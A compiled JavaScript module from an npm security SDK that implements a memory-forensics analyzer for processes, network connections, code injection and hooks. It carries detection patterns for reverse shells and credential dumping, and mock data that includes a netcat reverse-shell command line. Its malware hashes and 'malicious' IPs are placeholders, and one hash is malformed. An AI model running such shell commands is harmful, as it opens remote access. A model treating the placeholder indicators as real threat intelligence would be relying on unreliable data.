UNPKG

@iota-big3/sdk-security

Version:

Advanced security features including zero trust, quantum-safe crypto, and ML threat detection

748 lines (734 loc) 29 kB
"use strict"; /** * Memory Forensics Analyzer * Analyzes memory dumps for malware, suspicious processes, and IOCs */ Object.defineProperty(exports, "__esModule", { value: true }); exports.MemoryAnalyzer = void 0; const tslib_1 = require("tslib"); const crypto = tslib_1.__importStar(require("crypto")); const events_1 = require("events"); const types_1 = require("../types"); class MemoryAnalyzer extends events_1.EventEmitter { constructor() { super(); this.type = types_1.ForensicAnalysisType.MEMORY; this.knownGoodProcesses = new Set([ 'System', 'smss.exe', 'csrss.exe', 'wininit.exe', 'services.exe', 'lsass.exe', 'svchost.exe', 'winlogon.exe', 'explorer.exe', 'kernel32.dll', 'ntdll.dll' ]); this.suspiciousPatterns = new Map([ ['reverse_shell', /nc\.exe.*-e.*cmd\.exe|cmd\.exe.*\/c.*nc/i], ['mimikatz', /sekurlsa|lsadump|kerberos|crypto|dpapi/i], ['powershell_encoded', /powershell.*-enc|-encodedcommand/i], ['wmi_persistence', /wmic.*process.*call.*create/i], ['credential_dump', /hashdump|pwdump|gsecdump/i] ]); this.malwareSignatures = new Map([ ['emotet', '8F26BA3F4D8E4A3B9F8E7D6C5B4A3928'], ['trickbot', 'A1B2C3D4E5F6789012345678901234567'], ['cobalt_strike', '000000000000000000000000DEADBEEF'] ]); } /** * Analyze memory dump */ async analyze(evidence) { if (evidence.type !== types_1.ForensicAnalysisType.MEMORY) { throw new Error('Evidence is not a memory dump'); } this.emit('analysis:started', { evidenceId: evidence.id }); const findings = []; const artifacts = []; const iocs = []; const timeline = []; try { // Parse memory dump const memoryData = await this.parseMemoryDump(evidence); // Analyze processes const processFindings = await this.analyzeProcesses(memoryData.processes); findings.push(...processFindings.findings); iocs.push(...processFindings.iocs); // Analyze network connections const networkFindings = await this.analyzeNetworkConnections(memoryData.connections); findings.push(...networkFindings.findings); iocs.push(...networkFindings.iocs); // Analyze loaded modules const moduleFindings = await this.analyzeModules(memoryData.modules); findings.push(...moduleFindings.findings); // Check for code injections if (memoryData.injections) { const injectionFindings = await this.analyzeInjections(memoryData.injections); findings.push(...injectionFindings); } // Check for hooks if (memoryData.hooks) { const hookFindings = await this.analyzeHooks(memoryData.hooks); findings.push(...hookFindings); } // Extract suspicious strings if (memoryData.suspiciousStrings) { const stringArtifacts = await this.extractStrings(memoryData.suspiciousStrings, evidence.id); artifacts.push(...stringArtifacts); } // Build timeline timeline.push(...this.buildTimeline(memoryData)); // Generate analysis result const result = { id: crypto.randomUUID(), timestamp: new Date(), analyst: 'MemoryAnalyzer', type: 'Memory Analysis', tool: 'IOTA Memory Forensics', findings, artifacts, iocs, timeline, conclusion: this.generateConclusion(findings) }; this.emit('analysis:completed', { evidenceId: evidence.id, findingsCount: findings.length, iocsCount: iocs.length }); return result; } catch (error) { this.emit('analysis:failed', { evidenceId: evidence.id, error: error.message }); throw error; } } /** * Validate memory dump */ async validate(evidence) { // Check file signature const header = await this.readHeader(evidence.storagePath); // Common memory dump signatures const validSignatures = [ 'MDMP', // Windows minidump 'PAGE', // Windows full dump 'hibr', // Hibernation file 'VMEM', // VMware memory 'lime', // LiME format 'raw' // Raw memory ]; return validSignatures.some(sig => header.includes(sig)); } /** * Extract artifacts from memory */ async extract(evidence, options) { const artifacts = []; // Extract process executables if (options?.extractExecutables) { const exeArtifacts = await this.extractExecutables(evidence); artifacts.push(...exeArtifacts); } // Extract network packets if (options?.extractNetworkData) { const netArtifacts = await this.extractNetworkData(evidence); artifacts.push(...netArtifacts); } // Extract registry hives if (options?.extractRegistry) { const regArtifacts = await this.extractRegistryHives(evidence); artifacts.push(...regArtifacts); } return artifacts; } /** * Generate report */ async generateReport(analysis) { const report = ` # Memory Forensics Analysis Report **Analysis ID**: ${analysis.id} **Date**: ${analysis.timestamp.toISOString()} **Analyst**: ${analysis.analyst} **Tool**: ${analysis.tool} ## Executive Summary ${analysis.conclusion} ## Key Findings ${analysis.findings.map(f => ` ### ${f.title} (${f.severity}) - **Type**: ${f.type} - **Description**: ${f.description} ${f.location ? `- **Location**: ${f.location}` : ''} `).join('\n')} ## Indicators of Compromise (IOCs) Total IOCs found: ${analysis.iocs?.length || 0} ${(analysis.iocs || []).map(ioc => ` - **${ioc.type}**: ${ioc.value} - Context: ${ioc.context || 'N/A'} - Confidence: ${ioc.confidence}% `).join('\n')} ## Extracted Artifacts ${analysis.artifacts.map(a => ` - **${a.name}** (${a.type}) - Size: ${this.formatBytes(a.size)} - Hash: ${a.hash} - Malicious: ${a.malicious ? 'Yes' : 'No'} `).join('\n')} ## Timeline ${(analysis.timeline || []).slice(0, 20).map(t => ` - **${t.timestamp.toISOString()}**: ${t.action} - Source: ${t.source} ${t.details ? `- Details: ${t.details}` : ''} `).join('\n')} ## Recommendations 1. Isolate affected systems immediately 2. Collect additional memory dumps from related systems 3. Review network logs for identified IOCs 4. Update security tools with discovered indicators 5. Conduct threat hunting based on TTPs identified `.trim(); return report; } /** * Export findings */ async exportFindings(analysis, format) { switch (format) { case 'json': return Buffer.from(JSON.stringify(analysis, null, 2)); case 'csv': return this.exportToCSV(analysis); case 'stix': return this.exportToSTIX(analysis); default: throw new Error(`Unsupported export format: ${format}`); } } /** * Private helper methods */ async parseMemoryDump(evidence) { // In production, would use tools like Volatility or Rekall // For demo, return mock analysis return { evidenceId: evidence.id, systemInfo: { hostname: 'DESKTOP-ABC123', os: 'Windows 10 Pro', architecture: 'x64', kernelVersion: '10.0.19043', bootTime: new Date('2024-01-25T08:00:00Z') }, processes: this.generateMockProcesses(), connections: this.generateMockConnections(), modules: this.generateMockModules(), injections: this.generateMockInjections(), hooks: this.generateMockHooks(), suspiciousStrings: [ 'powershell -enc SGFja2VkIQ==', 'mimikatz.exe', 'HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command', 'nc.exe -e cmd.exe 192.168.1.100 4444' ] }; } async analyzeProcesses(processes) { const findings = []; const iocs = []; for (const process of processes) { // Check for suspicious process names if (!this.knownGoodProcesses.has(process.name) && process.suspicious) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.HIGH, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Suspicious Process: ${process.name}`, description: `Potentially malicious process detected: ${process.suspicionReasons?.join(', ')}`, evidence: [process.pid.toString()], location: process.path, metadata: { process } }); // Add as IOC iocs.push({ type: types_1.IOCType.PROCESS_NAME, value: process.name, context: `PID: ${process.pid}, Path: ${process.path}`, confidence: 85, firstSeen: process.startTime }); } // Check for process masquerading if (this.isProcessMasquerading(process)) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.CRITICAL, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Process Masquerading: ${process.name}`, description: 'Process appears to be masquerading as a legitimate Windows process', evidence: [process.pid.toString()], location: process.path }); } // Check command line for suspicious patterns if (process.commandLine) { for (const [patternName, pattern] of this.suspiciousPatterns) { if (pattern.test(process.commandLine)) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.HIGH, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Suspicious Command Line: ${patternName}`, description: `Process ${process.name} has suspicious command line arguments`, evidence: [process.commandLine], metadata: { pattern: patternName } }); } } } } return { findings, iocs }; } async analyzeNetworkConnections(connections) { const findings = []; const iocs = []; // Known malicious IPs (in production, would use threat intel) const maliciousIPs = new Set([ '185.220.101.45', '192.168.1.100', '10.10.10.10' ]); for (const conn of connections) { // Check for connections to malicious IPs if (conn.remoteAddress && maliciousIPs.has(conn.remoteAddress)) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.CRITICAL, type: types_1.FindingType.NETWORK_CONNECTION, title: `Connection to Known Malicious IP`, description: `Process ${conn.process?.name} connected to malicious IP ${conn.remoteAddress}`, evidence: [`${conn.localAddress}:${conn.localPort} -> ${conn.remoteAddress}:${conn.remotePort}`], metadata: { connection: conn } }); iocs.push({ type: types_1.IOCType.IP_ADDRESS, value: conn.remoteAddress, context: `Outbound connection from ${conn.process?.name}`, confidence: 95 }); } // Check for reverse shells (common ports) const reverseShellPorts = [4444, 4445, 8080, 8888, 9999]; if (conn.remotePort && reverseShellPorts.includes(conn.remotePort)) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.HIGH, type: types_1.FindingType.NETWORK_CONNECTION, title: `Possible Reverse Shell Connection`, description: `Suspicious outbound connection on port ${conn.remotePort}`, evidence: [`${conn.process?.name} -> ${conn.remoteAddress}:${conn.remotePort}`] }); } } return { findings, iocs }; } async analyzeModules(modules) { const findings = []; for (const module of modules) { // Check for unsigned modules if (!module.signed && module.suspicious) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.MEDIUM, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Unsigned Module: ${module.name}`, description: 'Unsigned module loaded in memory', evidence: [module.path], metadata: { module } }); } // Check for known malware modules if (module.hash && this.malwareSignatures.has(module.name)) { if (module.hash === this.malwareSignatures.get(module.name)) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.CRITICAL, type: types_1.FindingType.MALWARE, title: `Known Malware Module: ${module.name}`, description: 'Module matches known malware signature', evidence: [module.hash], location: module.path }); } } } return { findings }; } async analyzeInjections(injections) { const findings = []; for (const injection of injections) { findings.push({ id: crypto.randomUUID(), severity: injection.malicious ? types_1.FindingSeverity.CRITICAL : types_1.FindingSeverity.HIGH, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Code Injection Detected`, description: `Process ${injection.targetProcess.name} has injected code using ${injection.technique || 'unknown technique'}`, evidence: [ `Target PID: ${injection.targetProcess.pid}`, `Injection Address: ${injection.injectedCode.address}`, `Size: ${injection.injectedCode.size} bytes` ], metadata: { injection } }); } return findings; } async analyzeHooks(hooks) { const findings = []; for (const hook of hooks) { if (hook.malicious) { findings.push({ id: crypto.randomUUID(), severity: types_1.FindingSeverity.HIGH, type: types_1.FindingType.SUSPICIOUS_PROCESS, title: `Malicious Hook Detected`, description: `${hook.type} hook on ${hook.target} by process ${hook.hookedBy.name}`, evidence: [ `Hook Address: ${hook.hookAddress}`, `Original Address: ${hook.originalAddress || 'unknown'}` ], metadata: { hook } }); } } return findings; } async extractStrings(strings, evidenceId) { const artifacts = []; // Create strings artifact const stringsContent = strings.join('\n'); const hash = crypto.createHash('sha256').update(stringsContent).digest('hex'); artifacts.push({ id: crypto.randomUUID(), name: 'suspicious_strings.txt', type: types_1.ArtifactType.MEMORY_STRINGS, size: Buffer.byteLength(stringsContent), hash, extractedFrom: evidenceId, extractedAt: new Date(), malicious: true, metadata: { count: strings.length, categories: this.categorizeStrings(strings) } }); return artifacts; } buildTimeline(memoryData) { const timeline = []; // Add process start times for (const process of memoryData.processes) { if (process.startTime) { timeline.push({ timestamp: process.startTime, source: 'Process', action: 'Process Started', actor: process.user, target: process.name, details: `PID: ${process.pid}, Path: ${process.path}` }); } } // Add network connections for (const conn of memoryData.connections) { if (conn.established) { timeline.push({ timestamp: conn.established, source: 'Network', action: 'Connection Established', actor: conn.process?.name, target: `${conn.remoteAddress}:${conn.remotePort}`, details: `Protocol: ${conn.protocol}, State: ${conn.state}` }); } } // Sort by timestamp timeline.sort((a, b) => a.timestamp.getTime() - b.timestamp.getTime()); return timeline; } isProcessMasquerading(process) { // Check if process name matches known good but path doesn't const legitimatePaths = { 'svchost.exe': ['C:\\Windows\\System32', 'C:\\Windows\\SysWOW64'], 'csrss.exe': ['C:\\Windows\\System32'], 'lsass.exe': ['C:\\Windows\\System32'], 'services.exe': ['C:\\Windows\\System32'] }; if (legitimatePaths[process.name]) { const validPaths = legitimatePaths[process.name]; if (process.path && !validPaths.some(p => process.path.startsWith(p))) { return true; } } return false; } categorizeStrings(strings) { const categories = { urls: 0, ips: 0, commands: 0, paths: 0, registry: 0, encoded: 0, other: 0 }; const ipRegex = /\b(?:\d{1,3}\.){3}\d{1,3}\b/; const urlRegex = /https?:\/\/[^\s]+/i; const pathRegex = /[A-Z]:\\[^\s]+/i; const registryRegex = /HKEY_[A-Z_]+/i; const encodedRegex = /^[A-Za-z0-9+/]+=*$/; for (const str of strings) { if (urlRegex.test(str)) categories.urls++; else if (ipRegex.test(str)) categories.ips++; else if (pathRegex.test(str)) categories.paths++; else if (registryRegex.test(str)) categories.registry++; else if (encodedRegex.test(str) && str.length > 20) categories.encoded++; else if (str.includes('cmd') || str.includes('powershell')) categories.commands++; else categories.other++; } return categories; } formatBytes(bytes) { const units = ['B', 'KB', 'MB', 'GB']; let size = bytes; let unitIndex = 0; while (size >= 1024 && unitIndex < units.length - 1) { size /= 1024; unitIndex++; } return `${size.toFixed(2)} ${units[unitIndex]}`; } exportToCSV(analysis) { const lines = ['Type,Severity,Title,Description,Evidence']; for (const finding of analysis.findings) { lines.push([ finding.type, finding.severity, `"${finding.title}"`, `"${finding.description}"`, `"${finding.evidence.join('; ')}"` ].join(',')); } return Buffer.from(lines.join('\n')); } exportToSTIX(analysis) { // STIX 2.1 format const stixBundle = { type: 'bundle', id: `bundle--${crypto.randomUUID()}`, objects: [ ...analysis.findings.map(f => ({ type: 'indicator', id: `indicator--${crypto.randomUUID()}`, created: new Date().toISOString(), modified: new Date().toISOString(), name: f.title, description: f.description, pattern_type: 'stix', pattern: `[file:hashes.SHA-256 = '${f.metadata?.hash || 'unknown'}']`, valid_from: new Date().toISOString(), labels: ['malicious-activity'] })), ...(analysis.iocs || []).map(ioc => ({ type: 'indicator', id: `indicator--${crypto.randomUUID()}`, created: new Date().toISOString(), modified: new Date().toISOString(), name: `${ioc.type}: ${ioc.value}`, pattern_type: 'stix', pattern: this.iocToSTIXPattern(ioc), valid_from: new Date().toISOString(), confidence: ioc.confidence })) ] }; return Buffer.from(JSON.stringify(stixBundle, null, 2)); } iocToSTIXPattern(ioc) { switch (ioc.type) { case types_1.IOCType.IP_ADDRESS: return `[network-traffic:dst_ref.value = '${ioc.value}']`; case types_1.IOCType.DOMAIN: return `[domain-name:value = '${ioc.value}']`; case types_1.IOCType.FILE_HASH: return `[file:hashes.SHA-256 = '${ioc.value}']`; case types_1.IOCType.PROCESS_NAME: return `[process:name = '${ioc.value}']`; default: return `[x-ioc:value = '${ioc.value}']`; } } async readHeader(path) { // Mock implementation return 'MDMP'; // Windows minidump format } async extractExecutables(evidence) { // Mock implementation return []; } async extractNetworkData(evidence) { // Mock implementation return []; } async extractRegistryHives(evidence) { // Mock implementation return []; } generateConclusion(findings) { const criticalCount = findings.filter(f => f.severity === types_1.FindingSeverity.CRITICAL).length; const highCount = findings.filter(f => f.severity === types_1.FindingSeverity.HIGH).length; if (criticalCount > 0) { return `Critical security incident detected. Found ${criticalCount} critical and ${highCount} high severity findings indicating active compromise. Immediate remediation required.`; } else if (highCount > 0) { return `Suspicious activity detected. Found ${highCount} high severity findings that require investigation and remediation.`; } else { return `Analysis complete. Found ${findings.length} findings of medium or lower severity. Recommend security hardening and continued monitoring.`; } } // Mock data generators generateMockProcesses() { return [ { pid: 4, ppid: 0, name: 'System', path: 'System', user: 'NT AUTHORITY\\SYSTEM', startTime: new Date('2024-01-25T08:00:00Z'), threads: 150, handles: 5000, memory: { virtual: 1024 * 1024, physical: 512 * 1024, private: 256 * 1024 }, suspicious: false }, { pid: 1234, ppid: 856, name: 'svchost.exe', path: 'C:\\temp\\svchost.exe', // Suspicious path commandLine: 'svchost.exe -k malicious', user: 'DESKTOP-ABC\\user', startTime: new Date('2024-01-25T10:30:00Z'), threads: 5, handles: 150, memory: { virtual: 50 * 1024 * 1024, physical: 30 * 1024 * 1024, private: 20 * 1024 * 1024 }, suspicious: true, suspicionReasons: ['Unusual path', 'Unknown service group'] }, { pid: 5678, ppid: 1234, name: 'powershell.exe', path: 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe', commandLine: 'powershell.exe -enc SGFja2VkIQ==', user: 'DESKTOP-ABC\\user', startTime: new Date('2024-01-25T10:35:00Z'), threads: 8, handles: 200, memory: { virtual: 200 * 1024 * 1024, physical: 150 * 1024 * 1024, private: 100 * 1024 * 1024 }, suspicious: true, suspicionReasons: ['Encoded command'] } ]; } generateMockConnections() { return [ { protocol: 'TCP', localAddress: '192.168.1.10', localPort: 49152, remoteAddress: '185.220.101.45', remotePort: 443, state: 'ESTABLISHED', process: this.generateMockProcesses()[1], established: new Date('2024-01-25T10:31:00Z') }, { protocol: 'TCP', localAddress: '192.168.1.10', localPort: 49153, remoteAddress: '192.168.1.100', remotePort: 4444, state: 'ESTABLISHED', process: this.generateMockProcesses()[2], established: new Date('2024-01-25T10:36:00Z') } ]; } generateMockModules() { return [ { name: 'ntdll.dll', path: 'C:\\Windows\\System32\\ntdll.dll', baseAddress: '0x00007FFF12340000', size: 1024 * 1024 * 2, signed: true, signer: 'Microsoft Corporation', suspicious: false }, { name: 'malicious.dll', path: 'C:\\temp\\malicious.dll', baseAddress: '0x00007FFF56780000', size: 256 * 1024, signed: false, hash: '8F26BA3F4D8E4A3B9F8E7D6C5B4A3928', suspicious: true } ]; } generateMockInjections() { return [ { targetProcess: { pid: 856, ppid: 4, name: 'lsass.exe', path: 'C:\\Windows\\System32\\lsass.exe', user: 'NT AUTHORITY\\SYSTEM', threads: 10, memory: { virtual: 100 * 1024 * 1024, physical: 50 * 1024 * 1024, private: 30 * 1024 * 1024 }, suspicious: false }, injectedCode: { address: '0x00007FFF89AB0000', size: 4096, type: 'shellcode' }, technique: 'SetThreadContext', malicious: true } ]; } generateMockHooks() { return [ { type: 'IAT Hook', target: 'kernel32.dll!CreateProcessW', hookedBy: this.generateMockProcesses()[1], hookAddress: '0x00007FFF12345678', originalAddress: '0x00007FFF12340000', malicious: true } ]; } } exports.MemoryAnalyzer = MemoryAnalyzer; //# sourceMappingURL=memory-analyzer.js.map